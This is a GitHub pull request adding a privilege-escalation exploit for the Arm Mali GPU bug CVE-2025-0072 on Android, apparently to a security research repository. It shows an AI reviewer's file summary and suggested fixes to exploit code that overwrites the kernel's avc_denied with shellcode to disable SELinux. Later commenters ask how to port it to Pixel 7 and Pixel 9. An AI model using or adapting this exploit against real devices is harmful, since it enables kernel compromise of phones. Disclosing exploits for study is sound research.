Skip to content

Conversation

@m-y-mo
Copy link
Contributor

@m-y-mo m-y-mo commented May 23, 2025

Copilot AI review requested due to automatic review settings May 23, 2025 09:34
Copy link
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

This PR adds the exploit implementation for CVE-2025-0072 targeting the Arm Mali GPU on Android, including helper libraries, headers, and documentation.

  • Introduces mempool_utils for memory pool allocation and mapping.
  • Adds mem_read_write modules for GPU memory read/write via OpenCL.
  • Implements the main exploit logic in mali_userio.c with necessary UAPI headers and offsets.
  • Supplies logging utilities and a detailed README for build and usage.

Reviewed Changes

Copilot reviewed 13 out of 13 changed files in this pull request and generated 5 comments.

Show a summary per file
File Description
SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.h Declares memory pool helper functions
SecurityExploits/Android/Mali/CVE-2025-0072/mempool_utils.c Implements allocation, reservation, mapping, release
SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.h Declares OpenCL-based GPU read/write interfaces
SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c Implements read/write kernels and helpers
SecurityExploits/Android/Mali/CVE-2025-0072/mali_userio.c Main exploit orchestration and SELinux bypass logic
SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_kernel.h Arm Mali kernel UAPI definitions
SecurityExploits/Android/Mali/CVE-2025-0072/mali_base_common_kernel.h Common kernel flags and types
SecurityExploits/Android/Mali/CVE-2025-0072/log_utils.h Logging macro for shell vs. Android environments
SecurityExploits/Android/Mali/CVE-2025-0072/firmware_offsets.h Defines firmware symbol offsets
SecurityExploits/Android/Mali/CVE-2025-0072/README.md Build instructions and usage documentation
Comments suppressed due to low confidence (1)

SecurityExploits/Android/Mali/CVE-2025-0072/mem_read_write.c:241

  • [nitpick] Function 'releaseKernel' uses CamelCase while most other functions use snake_case. Consider renaming to 'release_kernel' for consistency.
void releaseKernel(struct rw_mem_kernel* kernel) {

for (int i = 0; i < nents; i++) {
union kbase_ioctl_mem_alloc alloc = {0};
alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
int prot = PROT_READ | PROT_WRITE;
Copy link

Copilot AI May 23, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable 'prot' is assigned but never used. Consider removing it to avoid compiler warnings and improve clarity.

Suggested change
int prot = PROT_READ | PROT_WRITE;

Copilot uses AI. Check for mistakes.
Comment on lines +170 to +174
ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL);
ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL);

if (ret != CL_SUCCESS) {
err(1, "Failed to write to buffer\n");
Copy link

Copilot AI May 23, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Each clEnqueueWriteBuffer call overwrites 'ret' without checking previous errors. You should check the return value after each call to ensure failures are caught immediately.

Suggested change
ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL);
ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL);
if (ret != CL_SUCCESS) {
err(1, "Failed to write to buffer\n");
if (ret != CL_SUCCESS) {
err(1, "Failed to write to va buffer\n");
}
ret = clEnqueueWriteBuffer(command_queue, kernel->in_out, CL_TRUE, 0, sizeof(uint64_t), value, 0, NULL, NULL);
if (ret != CL_SUCCESS) {
err(1, "Failed to write to in_out buffer\n");
}
ret = clEnqueueWriteBuffer(command_queue, kernel->flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL);
if (ret != CL_SUCCESS) {
err(1, "Failed to write to flag buffer\n");

Copilot uses AI. Check for mistakes.
Comment on lines +55 to +67
int test_fd = open("/dev/null", O_RDWR);
char file_path[256];
char proc_string[256];
for (int i = 3; i < test_fd; i++) {
sprintf(proc_string, "/proc/self/fd/%d", i);
if(readlink(proc_string, file_path, 256) > 0) {
if (strncmp(file_path, MALI, 10) == 0) {
close(test_fd);
return i;
}
}
}
close(test_fd);
Copy link

Copilot AI May 23, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Loop upper bound uses 'test_fd', which is the FD for /dev/null; this likely limits the search range incorrectly and may fail to find the Mali device. Consider scanning a fixed FD range or iterating over '/proc/self/fd/'.

Suggested change
int test_fd = open("/dev/null", O_RDWR);
char file_path[256];
char proc_string[256];
for (int i = 3; i < test_fd; i++) {
sprintf(proc_string, "/proc/self/fd/%d", i);
if(readlink(proc_string, file_path, 256) > 0) {
if (strncmp(file_path, MALI, 10) == 0) {
close(test_fd);
return i;
}
}
}
close(test_fd);
char file_path[256];
char proc_string[256];
DIR *dir = opendir("/proc/self/fd");
if (!dir) {
err(1, "cannot open /proc/self/fd\n");
}
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
int fd = atoi(entry->d_name);
if (fd < 3) {
continue; // Skip standard input/output/error
}
sprintf(proc_string, "/proc/self/fd/%s", entry->d_name);
if (readlink(proc_string, file_path, 256) > 0) {
if (strncmp(file_path, MALI, 10) == 0) {
closedir(dir);
return fd;
}
}
}
closedir(dir);

Copilot uses AI. Check for mistakes.
//Go through the reserve pages addresses to write to avc_denied with our own shellcode
write_func(mali_fd, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32);
//Triggers avc_denied to disable SELinux
open("/dev/kmsg", O_RDONLY);
Copy link

Copilot AI May 23, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This open call never closes the file descriptor, leading to a resource leak. Either close the descriptor or use a scoped file handle.

Suggested change
open("/dev/kmsg", O_RDONLY);
int fd = open("/dev/kmsg", O_RDONLY);
if (fd != -1) {
close(fd);
}

Copilot uses AI. Check for mistakes.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

offsets change but not working on pixel 7

@m-y-mo m-y-mo merged commit 105618f into main May 23, 2025
4 checks passed
@trzpro
Copy link

trzpro commented Jul 21, 2025

How to make this exploit work on Pixel 9? I tried changing offsets but ended with result 49

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants